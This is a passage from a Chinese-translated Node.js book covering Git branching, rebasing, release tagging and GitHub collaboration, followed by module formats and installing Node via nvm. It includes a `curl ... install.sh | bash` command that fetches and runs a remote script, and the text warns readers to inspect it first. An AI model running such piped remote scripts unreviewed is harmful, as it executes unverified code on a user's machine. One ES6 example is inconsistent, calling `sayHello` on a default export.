接下来,我们需要为我们的 Twitter 登录子功能做同样的事情。然而,当我们尝试合并时,由于合并冲突而失败:
$ git checkout social-login/main
$ git merge social-login/twitter
Auto-merging social-login.txt
CONFLICT (content): Merge conflict in social-login.txt
Automatic merge failed; fix conflicts and then commit the result.
当两个正在合并的分支的更改重叠时,会发生合并冲突;Git 不知道哪个版本是最合适的版本来继续前进,因此它不会自动合并它们。相反,它在发生合并冲突的文件中添加特殊的 Git 标记,并期望你手动解决它们:
<<<<<<< HEAD
facebook
=======
twitter
>>>>>>> social-login/twitter
<<<<<<< HEAD
和=======
之间的部分是我们当前分支的版本,即social-login/main
;=======
和>>>>>>> social-login/twitter
之间的部分是social-login/twitter
分支的版本。
在合并完成之前,我们必须解决这个合并冲突。为此,我们只需编辑文件到我们想要的版本,并移除 Git 特定的序列。在我们的例子中,我们想在facebook
之后添加twitter
的文本,因此我们会编辑文件使其变为以下内容:
facebook
twitter
现在冲突已解决,我们需要通过将social-login.txt
添加到暂存区域并提交来完成合并:
$ git status
On branch social-login/main
You have unmerged paths.
Unmerged paths:
both modified: social-login.txt
$ git add -A && git commit -m "Resolve merge conflict"
[social-login/main 8a635ca] Resolve merge conflict
现在,如果我们再次查看我们的 Git 历史,我们可以看到我们已经实现了 Facebook 和 Twitter 登录功能,并在两个单独的分支上实现了它们,然后在一个单独的提交(带有哈希37eb1b9
)中合并了它们:
$ git log --graph --oneline --decorate --all
* 37eb1b9 (HEAD -> social-login/main) Resolve merge conflict
|\
| * 9204a6b (social-login/twitter) Implement Twitter login
* | 09bc8ac (social-login/facebook) Implement Facebook login
|/
* 8d9f102 Add a blank social-login file
* cf3221a (master, dev) Add main script and documentation
* 85434b6 Update README.md
* 6883f4e Initial commit
检查更实际的例子
我们之前讨论的例子非常简单,有点人为。在一个更现实的开发环境中,dev
分支将会非常活跃:会有许多从dev
分支衍生出来的功能/错误修复分支,最终合并回它。为了说明这可能会引起的问题,并展示如何缓解这些问题,我们将回到dev
分支来创建另一个功能分支;让我们称它为user-schema/main
:
$ git checkout -b user-schema/main dev
Switched to a new branch 'user-schema/main'
现在,让我们添加一个文件,user-schema.js
,它代表了我们用户模式功能的全部:
$ touch user-schema.js
$ git add -A && git commit -m "Add User Schema"
[user-schema/main 8a31446] Add User Schema
1 file changed, 0 insertions(+), 0 deletions(-)
create mode 100644 user-schema.js
现在,我们可以将这个功能分支合并回dev
:
$ git checkout dev
Switched to branch 'dev'
$ git merge user-schema/main
Updating cf3221a..8a31446
Fast-forward
user-schema.js | 0
1 file changed, 0 insertions(+), 0 deletions(-)
create mode 100644 user-schema.js
我们现在的 Git 历史树看起来是这样的:
$ git log --graph --oneline --decorate --all
* 8a31446 (HEAD -> dev, user-schema/main) Add User Schema
| * 37eb1b9 (social-login/main) Resolve merge conflict
| |\
| | * 9204a6b (social-login/twitter) Implement Twitter login
| * | 09bc8ac (social-login/facebook) Implement Facebook login
| |/
| * 8d9f102 Add a blank social-login file
|/
* cf3221a (master) Add main script and documentation
* 85434b6 Update README.md
* 6883f4e Initial commit
如果你发现可视化历史很难,尝试使用一个为你可视化分支的 Git 客户端。对于 Mac 和 Windows,有一个由 Atlassian 提供的免费客户端,名为 Sourcetree。如果你使用 Linux,你可能想尝试 GitKraken。我们将从现在开始使用 GitKraken 来展示 Git 分支结构。例如,前面的图在 GitKraken 上看起来是这样的:
现在,我们可以将我们的social-login/main
分支合并回dev
,这将产生以下分支结构:
然而,我们不应该这样做,因为:
-
破坏性更改:社交登录功能的实现可能取决于用户的模式具有特定的形状。因此,盲目合并
social-login/main
分支可能会导致平台崩溃。dev
分支是其他人将开发新功能的地方,因此它应该始终保持无错误。 -
复杂的 Git 历史:历史树已经很难阅读,而我们只实现了两个功能!
保持 dev 分支无错误
第一个问题可以通过将dev
分支合并到social-login/main
,测试一切是否正常工作,然后将其合并回dev
来解决:
$ git checkout social-login/main
$ git merge dev
$ git checkout dev
$ git merge social-login/main
这样,由于分支不兼容而产生的任何错误将保留在功能分支上,而不是在dev
分支上。这给了我们在将它们合并回dev
之前修复这些错误的机会。
虽然这解决了一个问题,但它加剧了另一个问题。我们的 Git 历史现在看起来是这样的:
对于子功能分支来说,首先合并主分支并不那么重要,因为功能分支并不总是期望没有错误。我会让负责功能分支的开发者决定他们如何想要在他们的功能分支上工作。
保持我们的历史清洁
我们 Git 历史看起来如此复杂的原因是git merge
为合并创建了一个单独的提交。这是好的,因为它不会改变任何分支的历史;换句话说,它是非破坏性的:
为了防止我们这里复杂的分支树,Git 提供了一个替代命令rebase
,它允许我们合并更改,同时保持我们的历史清洁。
使用 git rebase 保持我们的历史清洁
使用git rebase
,而不是为合并创建一个新的提交,它将尝试将更改放置在功能分支上,就像它们是在主分支上的最后一个提交之后直接做出的:
要了解我们如何使用rebase
,让我们重复到目前为止所做的一切,但使用rebase
而不是merge
。创建一个新的目录,然后在终端中打开,然后复制并粘贴以下命令(这些命令将复制我们到目前为止所做的一切):
git init &&
echo -e "# hobnob" >> README.md &&
git add README.md && git commit -m "Initial commit" &&
echo "A very simple user directory API with recommendation engine" >> README.md &&
git add README.md && git commit -m "Update README.md" &&
echo "console.log('Hello World')" >> index.js &&
echo -e "# Usage\nRun \`node index.js\`" >> README.md &&
git add -A && git commit -m "Add main script and documentation" &&
git checkout -b dev master &&
git checkout -b social-login/main dev &&
touch social-login.txt &&
git add -A && git commit -m "Add a blank social-login file" &&
git checkout -b social-login/facebook social-login/main &&
echo "facebook" >> social-login.txt &&
git add -A && git commit -m "Implement Facebook login" &&
git checkout -b social-login/twitter social-login/main &&
echo "twitter" >> social-login.txt &&
git add -A && git commit -m "Implement Twitter login" &&
git checkout -b user-schema/main dev &&
touch user-schema.js &&
git add -A && git commit -m "Add User Schema" &&
git checkout dev &&
git merge user-schema/main
我们的 Git 历史树现在看起来是这样的:
首先,我们可以将social-login/facebook
合并到social-login/main
。由于自分支创建以来social-login/main
上没有进行任何更改,因此使用git merge
或git rebase
没有区别:
$ git checkout social-login/main
$ git merge social-login/facebook
在我们的合并之后,social-login/main
分支上现在有一个更改,因为social-login/twitter
是从它分支出来的:
这就是rebase
有用的地方:
$ git checkout social-login/twitter
$ git rebase social-login/main
...
Auto-merging social-login.txt
CONFLICT (content): Merge conflict in social-login.txt
error: Failed to merge in the changes.
Patch failed at 0001 Implement Twitter login
The copy of the patch that failed is found in: .git/rebase-apply/patch
仍然可能会出现合并冲突,你应该像以前一样解决它。但这次,使用git rebase --continue
而不是git commit
:
# Resolve merge conflict before continuing #
$ git add -A
$ git rebase --continue
Applying: Implement Twitter login
不同之处在于,这次,社交登录功能的git
历史是线性的,就像social-login/twitter
分支上的更改是在social-login/main
分支上的更改之后直接进行的:
$ git log --graph --oneline --decorate --all
* da47828 (HEAD -> social-login/twitter) Implement Twitter login
* e6104cb (social-login/main, social-login/facebook) Implement Facebook login
* c864ea4 Add a blank social-login file
| * 8f91c9d (user-schema/main, dev) Add User Schema
|/
* d128cc6 (master) Add main script and documentation
* 7b78b0c Update README.md
* d9056a3 Initial commit
接下来,我们需要将social-login/main
分支快进到跟随social-login/twitter
分支:
$ git checkout social-login/main
$ git merge social-login/twitter
这应该会产生一个更加干净的分支结构:
最后,我们可以将social-login/main
分支重置到dev
分支上:
$ git checkout social-login/main
$ git rebase dev
现在,我们在social-login/main
分支上有一个完全线性的提交历史,尽管它们都源自不同的分支:
最后一步是将dev
分支转发到social-login/main
分支所在的位置:
$ git checkout dev
$ git merge social-login/main
使用合并和重置结合
我可能给人留下了这样的印象,即git rebase
比git merge
更干净,因此更好。事实并非如此;每种方法都有其优缺点。
git rebase
通过尝试在主分支的末尾复制子分支的更改来重写或更改存储库的现有历史。这使得历史看起来更干净、更线性,但失去了更改集成的时间和地点的上下文——我们失去了social-login/twitter
最初是从social-login/main
分支分叉出来的信息。
因此,我建议对于功能/错误修复分支使用git rebase
。这允许你频繁地提交小的更改,进行工作进度(WIP)提交,而不必过于关心整洁性。在功能完成之后,你可以使用git rebase
清理你的提交历史,然后再合并到永久分支中。
另一方面,当将功能分支的更改集成到dev
分支中,或者从dev
分支集成到master
分支时,使用git merge
,因为它提供了关于这些功能何时何地被添加的上下文。此外,我们应该在git merge
中添加--no-ff
标志,这确保合并将始终创建一个新的提交,即使可能进行快速前进。
通过结合使用git merge
和git rebase
,可以得到一个很好的 Git 历史:
我们甚至可以删除一些分支,使历史更加干净:
$ git branch -D social-login/facebook social-login/twitter
分支结构现在更容易理解:
发布代码
现在我们有一块相当大的功能块可以发布。我们应该从dev
分支创建一个发布分支。这个发布分支应该以发布版本命名,前面加上release/
前缀,例如release/0.1.0
。要发布的代码应部署到预发布服务器上,在那里应进行自动化的 UI 测试、手动测试和验收测试(稍后详细介绍)。任何错误修复都应提交到发布分支并合并回dev
分支。当发布分支准备就绪后,它可以合并到master
分支。
除了错误修复和热修复之外,不应在发布分支中添加新功能。任何新功能、非关键错误修复或与发布无关的错误修复都应提交到错误修复分支。
因此,第一个问题是我们的发布如何命名/版本化?对于这个项目,我们将使用语义版本化,或semver。
语义版本化
在 semver 中,所有内容都使用三个数字进行版本控制,MAJOR.MINOR.PATCH
,起始版本为0.1.0
,按照以下方式递增:
-
补丁版本更新:在向后兼容的热修复之后
-
小版本更新:在实现了一组向后兼容的功能/错误修复之后
-
主版本更新:在向后不兼容的更改之后
我们将为我们的发布遵循语义版本化。
与命名功能分支一样,发布分支的命名也没有“正确”的方式。例如,你可以在发布版本后加上对本次发布包含内容的简要描述,如release/0.1.0-social-login
或release/0.1.0__social-login
。再次强调,最重要的是制定一个规则并保持一致性。
创建发布分支
现在,让我们创建我们的发布分支并将其命名为release/0.1.0
:
$ git checkout dev
$ git checkout -b release/0.1.0
如果这是一个真实场景,我们会将分支部署到预发布服务器上进行更彻底的测试。现在,让我们假设我们找到了一个错误:social-login.txt
中facebook
和twitter
的文本应该大写为Facebook
和Twitter
。所以,让我们修复这个错误并直接在发布分支上提交:
$ git checkout release/0.1.0
$ echo -e "Facebook\nTwitter" > social-login.txt
$ git add -A && git commit -m "Fix typo in social-login.txt"
现在,我们将再次测试修改后的代码,假设没有发现更多错误,我们可以将其合并到master
分支:
$ git checkout master
Switched to branch 'master'
$ git merge --no-ff release/0.1.0
当我们合并时,它会要求我们输入提交信息;我们可以直接使用默认信息,Merge branch 'release/0.1.0'
:
最后,我们应该记得将发布分支上所做的错误修复应用到dev
分支;如果我们有任何其他活动的发布分支,我们也应该将其应用到这些分支上:
$ git checkout dev
$ git merge --no-ff release/0.1.0
我们最终得到的 Git 分支结构类似于以下这样:
标记发布
最后,我们应该标记我们的发布。在 Git 中,标签是标记某些提交历史点为重要的标记。发布很重要,因此惯例是在master
分支上表示发布为标签。
有两种类型的标签:轻量级和注解标签。轻量级标签只是指向特定提交的指针。另一方面,注解标签是 Git 数据库中的完整对象,类似于提交。注解标签包含有关标记者、日期和可选消息的信息。我们应该使用注解标签来标记发布。
Git 手册(当你运行 git tag --help
时可访问)指出:“*注解标签旨在用于发布,而轻量级标签旨在用于私有或临时对象标签。”
检出 master
分支,并运行带有 -a
标志的 git tag
命令来添加一个注解标签。标签的名称应该是 semver 版本,你还应该添加一个描述发布的消息:
$ git checkout master
$ git tag -a 0.1.0 -m "Implement social login. Update user schema."
$ git show 0.1.0
tag 0.1.0
Tagger: Daniel Li <dan@danyll.com>
Date: Fri Dec 8 21:11:20 2017 +0000
Implement social login. Update user schema.
commit 6a415c24ea6332ea3af9c99b09ed03ee7cac36f4 (HEAD -> master, tag: 0.1.0)
Merge: b54c9de 62020b2
Author: Daniel Li <dan@danyll.com>
Date: Fri Dec 8 18:55:17 2017 +0000
Merge branch 'release/0.1.0'
热修复
我们需要覆盖的最后一个关于 Git 工作流程的内容是如何处理在生产环境中(在我们的 master
分支上)发现的错误。尽管我们的代码在添加到 master
之前应该已经经过了彻底的测试,但细微的错误难免会漏网,我们必须迅速修复它们。这被称为热修复。
在热修复分支上工作与在发布分支上工作非常相似;唯一的区别是我们是从 master
而不是 dev
分支进行分支。就像发布分支一样,我们会进行更改,测试,将更改部署到预发布环境中,并进行更多测试,然后再将其合并回 master
,dev
和任何当前发布分支:
因此,首先我们进行修复:
$ git checkout -b hotfix/user-schema-incompat master
$ touch user-schema-patch.txt # Dummy hotfix
$ git add -A
$ git commit -m "Patch user schema incompatibility with social login"
然后,我们将其合并到 master
:
$ git checkout master
$ git merge --no-ff hotfix/user-schema-incompat
由于我们在 master
上添加了新内容,它本质上成为了一个新的发布版本,因此我们需要增加版本号并标记这个新的提交。由于这是一个错误修复,并没有向平台添加新功能,我们应该将补丁版本增加到 0.1.1
:
$ git tag -a 0.1.1 -m "Patch user schema incompatibility with social login"
最后,别忘了将热修复更改合并回 dev
分支,如果相关的话,还可以合并到其他发布分支:
$ git checkout dev
$ git merge --no-ff hotfix/user-schema-incompat
我们的 Git 历史树现在看起来像这样:
你可以清楚地区分两个永久分支,master
和 dev
,因为似乎所有事情都围绕着它们。然而,也很清楚,添加热修复会使 Git 历史比以前更复杂,因此只有在绝对必要时才应进行热修复。
与他人协作
到目前为止,我们已经概述了在独自开发时如何管理我们的 Git 仓库;然而,更常见的情况是,你将作为团队的一部分工作。在这些情况下,你的团队必须以一种方式工作,使得你的同事能够获取你已完成的所有更新,同时也能更新他们自己的更改。
幸运的是,Git 是一个分布式版本控制系统,这意味着任何本地仓库都可以作为其他人的远程仓库。这意味着你的同事可以将你的更改拉到他们的机器上,你也可以将他们的更改拉到你的机器上:
然而,这意味着您需要定期从每个人的机器上拉取,以获取所有最新的更改。此外,当存在合并冲突时,一个人可能以不同的方式解决它们。
因此,虽然从技术上讲可以遵循这个分布式工作流程,但大多数团队会选择一个他们认为的中央仓库。
按照惯例,这个远程仓库被称为origin
:
当您想将同事所做的更改更新到您的本地仓库时,您从origin
仓库中拉取。当您认为更改已经准备好可以合并时,您将它们推送到origin
。
创建远程仓库
存储远程仓库有许多方式。您可以设置自己的服务器,或者可以使用像 Bitbucket 或 GitHub 这样的托管服务。我们将使用 GitHub,因为它是最受欢迎的,并且公共仓库免费。
如果您想保持您的仓库私有,您可以选择从 GitHub 购买个人计划,目前每月价格为 7 美元;或者您可以使用 Bitbucket,它对公共和私有仓库都是免费的(尽管适用其他限制)。
-
前往
github.com/
并点击“注册”按钮 -
填写您的详细信息以创建账户
-
登录后,点击“新建仓库”按钮或前往
github.com/new
-
填写有关仓库的详细信息,但不要勾选“使用 README 初始化此仓库”或添加许可证:
- 在您点击创建仓库后,GitHub 应该会显示一个快速设置提示。这表明我们已经成功创建了我们的仓库:
拉取和推送
接下来,我们需要更新我们的本地仓库,使其知道远程仓库的地址:
$ git remote add origin https://github.com/d4nyll/hobnob.git $ git push -u origin master
不要使用https://github.com/d4nyll/hobnob.git
;而是创建自己的远程仓库。
如果您收到fatal: Authentication failed for https://github.com/d4nyll/hobnob.git/
错误,请检查您的 GitHub 用户名和密码是否输入正确。如果您在 GitHub 账户上使用了两步验证(2FA),则需要使用 SSH 密钥来推送远程仓库。
-u
标签将上游仓库设置为origin
。如果没有它,每次运行git push
和git pull
时,我们都需要指定我们想要推送或拉取的远程仓库;使用-u
标签将节省我们未来的很多时间。后续的推送和拉取可以省略-u
标签。
默认情况下,git push
不会将标签推送到远程仓库。因此,我们不得不手动推送标签。推送标签的语法与推送分支的语法类似:
$ git push origin [tagname]
或者,如果您想推送所有标签,可以运行以下命令代替:
$ git push origin --tags
克隆仓库
我们的项目代码现在在 GitHub 上是公开可用的。我们的同事和/或合作者现在可以使用git clone
命令下载代码:
$ git clone https://github.com/d4nyll/hobnob.git
这将在运行git clone
命令的目录内创建一个新的目录,并将远程仓库的内容复制到其中。
你的合作者可以随后在这个仓库的本地副本上工作,提交更改,并添加新的分支。一旦他们准备好将他们的更改提供给他人,他们可以从远程仓库拉取,解决合并冲突,然后将他们的更改推回到origin
:
$ git pull
# Resolves any conflicts
$ git push
通过拉取请求进行同行评审
大多数情况下,允许任何人向仓库推送或从仓库拉取是没问题的。然而,对于更重要的项目,你可能希望阻止新或初级开发者向重要的分支,如dev
和master
,进行推送。在这些情况下,仓库的所有者可能会限制推送权限,仅允许一小部分受信任的开发者。
对于不受信任的开发者来说,为了对dev
或master
进行更改,他们必须创建一个新的分支(例如功能或错误修复分支),将该分支推送到该分支,并创建一个拉取请求(PR)。这个 PR 是一个将他们的分支合并回dev
或master
的正式请求。
拉取请求是 GitHub 和 BitBucket 等平台的一个功能,而不是 Git 本身的功能。
接收拉取请求后,所有者或维护者将审查你的工作并提供反馈。在 GitHub 上,这是通过评论来完成的。贡献者随后将与维护者合作,对代码进行更改,直到双方都对更改满意。此时,维护者将接受你的拉取请求并将其合并到目标分支:
相反,如果维护者认为更改不符合项目的目标,他们可以拒绝这些更改。
在你的开发流程中实施拉取请求有几个好处:
-
你可以通知你的同事一个功能/错误修复已经完成。
-
这是一个正式的过程,其中所有评论和讨论都被记录下来。
-
你可以邀请审阅者对所做的更改进行同行评审。这允许他们帮助发现明显的错误,并提供关于你代码的反馈。这不仅确保了源代码的代码质量高,还有助于开发者从他人的经验中学习。
摘要
在本章中,我们概述了如何使用 Git 管理你项目的版本历史。我们首先理解 Git 中的不同状态,并练习一些基本的 Git 命令,然后使用它们来提交、分支和合并我们的更改。然后我们在 GitHub 上设置了一个远程仓库,这使得我们可以共享我们的代码并与他人协作。
这里使用的流程和约定是具有主观性的,你可能在你的工作场所遇到不同的模式。使用 Git 没有正确的方式,只有错误的方式,我们在这里使用的规则并不完美。例如,在 Driessen 模型中,一旦一个特性被合并到 dev
,就很难将其提取出来。因此,我们必须小心不要合并那些不适合当前发布的特性。因此,本章最重要的收获是与你的团队建立一套约定,并始终如一地坚持它。
在下一章中,我们将开始编写我们的第一行代码,设置我们的开发环境和工具,并集成 JavaScript 特定的工具,如 npm
、yarn
、Babel 和 nodemon
。在本书的剩余部分,当你完成练习并构建应用程序时,我们期望你使用这里概述的流程来保持代码的版本历史。
第四章:设置开发工具
本书的第一部分(第 1-3 章)是为了提供足够的背景知识,以便我们能够不间断地编码。在这一章中,我们将通过设置我们的本地开发环境,开始构建我们的用户目录应用程序,称为 'hobnob'。
本章的目的是帮助你理解 Node.js 生态系统中的不同工具和标准是如何协同工作的。具体来说,我们将涵盖以下内容:
-
什么是 Node.js?
-
JavaScript 模块的不同格式/标准
-
使用
npm
和yarn
管理模块 -
使用 Babel 转译代码
-
使用
nodemon
监视更改 -
使用 ESLint 检查我们的代码
什么是 Node.js?
如你在 第二章 中所学到的,《JavaScript 的状态》,Node.js 是“服务器上的 JavaScript”。在我们继续前进之前,让我们更深入地了解这意味着什么。
传统上,JavaScript 由一个 JavaScript 引擎解释,该引擎将 JavaScript 代码转换为更优化的、机器可执行的代码,然后执行。该引擎在运行时解释 JavaScript 代码。这与 编译型语言(如 C#)不同,编译型语言必须首先编译成 中间语言(IL),然后由 公共语言运行时(CLR)执行,这种软件与 JavaScript 引擎功能相似。
从技术上讲,将一种语言分类为解释型或编译型是不准确的——语言的处理方式取决于实现。有人可以构建一个将 JavaScript 转换为机器代码的编译器并运行它;在这种情况下,JavaScript 将是一种编译型语言。
然而,由于 JavaScript 几乎总是由 JavaScript 引擎进行解释,你经常会听到人们将 JavaScript 称为解释型语言。
不同浏览器使用不同的 JavaScript 引擎。Chrome 使用 V8,Firefox 使用 SpiderMonkey,WebKit 浏览器(如 Safari)使用 JavaScriptCore,而 Microsoft Edge 使用 Chakra。Node.js 使用 V8 作为其 JavaScript 引擎,并添加了 C++ 绑定,使其能够访问操作系统资源,如文件和网络。
术语
由于 JavaScript 通常是运行时进行解释,并且由于其他语言的运行时(如之前提到的 C#)实际上执行代码,许多人错误地将 JavaScript 引擎称为 JavaScript 运行时。
但是,它们是不同的事物——引擎是将高级 JavaScript 代码转换为机器可执行代码的软件,然后执行它。JavaScript 引擎然后将从解析代码中获取的所有对象暴露给 JavaScript 运行时环境,然后它可以使用它们。
因此,浏览器中的 JavaScript 和 Node.js 都使用相同的 V8 引擎,但运行在不同的运行时环境中。例如,浏览器运行时环境提供了window
全局对象,这在 Node.js 运行时中不可用。相反,浏览器运行时缺少require
全局,并且无法对系统资源(如文件系统)进行操作。
模块
如第一章“好代码的重要性”中提到的,干净的代码应该以模块化的方式进行结构化。在接下来的几节中,我们将向您介绍模块化设计的概念,然后解释不同的模块格式。然后,在本章的剩余部分,我们将通过整合现有的 Node 模块来开始构建我们的项目。
但首先,让我们提醒自己模块化设计的重要性。没有它,以下情况适用:
-
一个业务领域的逻辑可以很容易地与另一个交织在一起
-
当调试时,很难确定错误在哪里
-
很可能存在重复的代码
相反,编写模块化代码意味着以下内容:
-
模块是领域的逻辑分离——例如,对于一个简单的社交网络,你可能有一个用户账户模块,一个用户资料模块,一个帖子模块,一个评论模块,等等。这确保了清晰的关注点分离。
-
每个模块都应该有一个非常具体的目的——也就是说,它应该是细粒度的。这确保了尽可能多的代码复用性。代码复用性的一个副作用是一致性,因为对代码在一个位置的更改将应用到每个地方。
-
每个模块为其他模块提供交互的 API——例如,评论模块可能提供允许创建、编辑或删除评论的方法。它还应该隐藏内部属性和方法。这使得模块成为一个黑盒,封装内部逻辑以确保 API 尽可能最小化。
通过以模块化的方式编写我们的代码,我们最终会得到许多小而可管理的模块,而不是一个无法控制的混乱。
模块的时代
JavaScript 直到 ECMAScript 2015 才支持模块,因为 JavaScript 最初是为了向网页添加小块交互性而设计的,而不是为了构建完整的应用程序。当开发者想要使用库或框架时,他们只需在 HTML 中某个地方添加<script>
标签,该库就会在页面加载时被加载。然而,这并不理想,因为脚本必须按正确的顺序加载。例如,Bootstrap(一个 UI 框架)依赖于 jQuery(一个实用库),因此我们必须手动检查 jQuery 脚本是否首先添加:
<!-- jQuery - this must come first -->
<script src="img/jquery-3.2.1.min.js"></script>
<!-- Bootstrap's JavaScript -->
<script src="img/bootstrap.min.js"></script>
这在依赖树相对较小且较浅的情况下是可以的。然而,随着单页应用程序(SPAs)和 Node.js 应用程序变得越来越流行,应用程序不可避免地变得更加复杂;手动排列数百个模块的正确顺序既不实际又容易出错:
Cordova npm 包的依赖树,其中每个节点代表一个独立的模块
此外,许多这些脚本都会向全局命名空间添加变量,或者扩展现有对象的原型(例如,Object.prototype
或Array.prototype
)。由于它们通常没有命名空间,这些脚本可能会相互冲突/干扰,或者与我们的代码冲突。
由于现代应用程序的复杂性不断增加,开发者开始创建包管理器来组织他们的模块。此外,标准格式也开始出现,以便模块可以与更广泛的社区共享。
在撰写本文时,有三个主要的包管理器——npm、Bower和yarn——以及四个主要的定义 JavaScript 模块的标准——CommonJS、AMD、UMD和ES6 模块。每种格式也有相应的工具,使它们能够在浏览器上工作,例如RequireJS、Browserify、Webpack、Rollup和SystemJS。
在下一节中,我们将简要介绍不同类型的包管理器、模块及其工具。在本节的末尾,我们将更具体地探讨 ES6 模块,这是我们将在本书的其余部分使用的。
Node.js 模块的诞生
在客户端使用模块不可行,因为一个应用程序可能有数百个依赖和子依赖;当有人访问页面时必须下载所有这些,这将增加首次渲染时间(TTFR),极大地影响用户体验(UX)。因此,我们今天所知道的 JavaScript 模块,是从 Node.js 模块在服务器上开始发展的。
在 Node.js 中,一个文件对应一个模块:
$ tree
.
├── greeter.js
└── main.js
0 directories, 2 files
例如,前面提到的两个文件——greeter.js
和main.js
——每个都是它们自己的模块。
采用 CommonJS 标准
在 Node.js 中,模块是以 CommonJS 格式编写的,它提供了两个全局对象,require
和exports
,开发者可以使用它们来封装他们的模块。require
是一个函数,允许当前模块导入并使用在其他模块中定义的变量。exports
是一个对象,允许模块使其某些变量对其他require
它的模块公开。
例如,我们可以在greeter.js
中定义两个函数,helloWorld
和internal
:
// greeter.js
const helloWorld = function (name) {
process.stdout.write(`hello ${name}!\n`)
};
const internal = function (name) {
process.stdout.write('This is a private function')
};
exports.sayHello = helloWorld;
默认情况下,这两个函数只能在文件内(在模块内)使用。但是,当我们把helloWorld
函数赋值给exports
的sayHello
属性时,它使得helloWorld
函数可以被其他require``greeter
模块的模块访问。
为了演示这一点,我们可以在main.js
中require
greeter 模块,并使用其sayHello
导出向控制台打印一条消息:
// main.js
const greeter = require('./greeter.js');
greeter.sayHello("Daniel");
要require
一个模块,你可以指定其名称或其文件路径。
现在,当我们运行main.js
时,我们在终端中会得到一条打印的消息:
$ node main.js
hello Daniel!
满足封装要求
你可以通过将它们作为属性添加到exports
对象中来从单个模块导出多个构造函数。未导出的构造函数在模块外部不可用,因为 Node.js 在其模块内部包装了一个模块包装器,它只是一个包含模块代码的函数:
(function(exports, require, module, __filename, __dirname) {
// Module code
});
这满足了模块的封装要求;换句话说,模块限制了直接访问模块的某些属性和方法。请注意,这是一个 Node.js 的特性,而不是 CommonJS。
标准化模块格式
自从 CommonJS 以来,客户端应用程序出现了多种模块格式,例如 AMD 和 UMD。AMD,或称异步模块定义,是 CommonJS 格式的早期分支,支持异步模块加载。这意味着不相互依赖的模块可以并行加载,这在一定程度上缓解了如果客户端在浏览器中使用 CommonJS 时遇到的缓慢启动时间。
每当存在多个非官方标准时,通常有人会提出一个新的标准来统一它们:
来自 XKCD 漫画标题为“Standards”的图片(https://xkcd.com/927/);在 Creative Commons Attribution-NonCommercial 2.5 许可下使用(creativecommons.org/licenses/by-nc/2.5/
)
这就是 UMD,或称通用模块定义的情况。UMD 模块与 AMD 和 CommonJS 都兼容,并且如果你想在网页上作为<script>
标签包含它,它也会暴露一个全局变量。但是,因为它试图与所有格式兼容,所以有很多样板代码。
最终,统一 JavaScript 模块格式的任务由Ecma International承担,它在 JavaScript 的 ECMAScript 2015(ES6)版本中标准化了模块。这种模块格式使用两个关键字:import
和export
。使用 ES6 模块的相同greeter
示例将如下所示:
// greeter.js
const helloWorld = function (name) {
process.stdout.write(`hello ${name}!\n`)
};
const privateHellowWorld = function (name) {
process.stdout.write('This is a private function')
};
export default helloWorld;
// main.js
import greeter from "./greeter.js";
greeter.sayHello("Daniel");
你仍然会有两个文件——greeter.js
和main.js
;这里唯一的区别是exports.sayHello = helloWorld;
被替换为export default helloWorld;
,而const greeter = require('./greeter.js');
被替换为import greeter from "./greeter.js";
。
此外,ES6 模块是静态的,这意味着它们在运行时不能被更改。换句话说,你无法在运行时决定是否导入一个模块。这样做的原因是允许在之前分析模块并构建依赖图。
Node.js 和流行的浏览器正在快速添加对 ECMAScript 2015 特性的支持,但目前它们中没有一个完全支持模块。
你可以在 Kangax 兼容性表(kangax.github.io/compat-table/)中查看 ECMAScript 特性的完整兼容性表。
幸运的是,有一些工具可以将 ECMAScript 2015 模块转换为普遍支持的 CommonJS 格式。最受欢迎的是 Babel 和 Traceur。在这本书中,我们将使用 Babel,因为它是 de facto 标准。
安装 Node
在模块的背景知识已经解决之后,让我们通过在我们的本地机器上安装 Node.js 来开始我们的应用程序开发。就像俗语所说“条条大路通罗马”,安装 Node.js 到你的机器上有许多方法。你可以做以下之一:
-
访问
nodejs.org/
并下载其源代码(以*.tar.gz
归档的形式) -
访问
nodejs.org/
并下载安装程序 -
访问
nodejs.org/en/download/package-manager/
并下载你操作系统包仓库上列出的 Node 版本
但最简单的方法是使用 Node 版本管理器(nvm),它还有一个额外的优点,就是允许你下载和切换不同版本的 Node。如果你同时在不同版本的 Node 项目上工作,这尤其方便,每个项目使用不同的版本。
有几种流行的程序可以为你管理 Node 版本。nvm
和 nave
按用户/shell 管理节点版本,这意味着同一台机器上的不同用户可以使用不同的 Node 版本。还有 n
,它管理全局/系统范围内的 Node 版本。最后,nodenv
也可以很有用,因为它可以自动检测用于你的项目的正确 Node 版本。
使用 nvm 安装 Node
你可以使用它提供的 shell 脚本来安装 nvm:
$ curl -o- https://raw.githubusercontent.com/creationix/nvm/v0.33.2/install.sh | bash
$ source ~/.nvm/nvm.sh
注意,在没有首先检查内容的情况下直接从互联网上运行 shell 脚本从来不是一个好主意。因此,你应该首先访问 raw.githubusercontent.com/creationix/nvm/v0.33.2/install.sh
并检查在真正运行之前将要运行的命令。
这将克隆 nvm 仓库到 ~/.nvm
并在你的配置文件(~/.bash_profile
、~/.zshrc
、~/.profile
或 ~/.bashrc
)中添加一行,以便在用户登录时加载 nvm。
现在,我们可以使用 nvm 来安装 Node。首先,让我们使用 nvm ls-remote
命令检查可用的 Node 版本:
$ nvm ls-remote
...
v0.12.17
v0.12.18
...
v8.11.3 (LTS: Carbon)
v8.11.4 (Latest LTS: Carbon)
...
v10.8.0
v10.9.0
它会返回一个包含每个 Node.js 版本的巨大列表,我们可以通过运行 nvm install <version>
来安装特定版本,其中版本是版本号(例如,6.11.1
)或长期支持(LTS)版本的名称(例如,lts/boron
):
$ nvm install 6.11.1
$ nvm install lts/boron
我们希望使用 Node 的最新 LTS 版本。在撰写本文时,那是 8.11.4
,因此我们可以运行 nvm install 8.11.4
。更好的是,我们可以使用简写 nvm install lts/*
,这将默认为 Node 的最新 LTS 版本:
$ nvm install lts/*
Downloading and installing node v8.11.4...
Downloading https://nodejs.org/dist/v8.11.4/node-v8.11.4-linux-x64.tar.xz...
######################################################################### 100.0%
Computing checksum with sha256sum
Checksums matched!
Now using node v8.11.4 (npm v5.6.0)
我们可以通过运行 node -v
来检查 Node 是否已成功安装:
$ node -v
v8.11.4
当我们安装 Node 时,我们也自动安装了 npm CLI,这是 Node.js 的包管理器:
$ npm -v
5.5.1
记录 Node 版本
我们应该记录我们使用哪个版本的 Node 运行我们的 API 服务器。为此,使用 nvm,我们只需在我们的项目根目录中定义一个 .nvmrc
文件。然后,任何正在开发 API 的开发者都可以通过运行 nvm use
来使用正确的 Node 版本。因此,创建一个新的项目目录并运行 git init
以创建一个新的 Git 仓库。一旦完成,创建一个新的 .nvmrc
文件,其中包含一个读取为 8.11.4
的单行:
$ mkdir hobnob && cd hobnob
$ git init
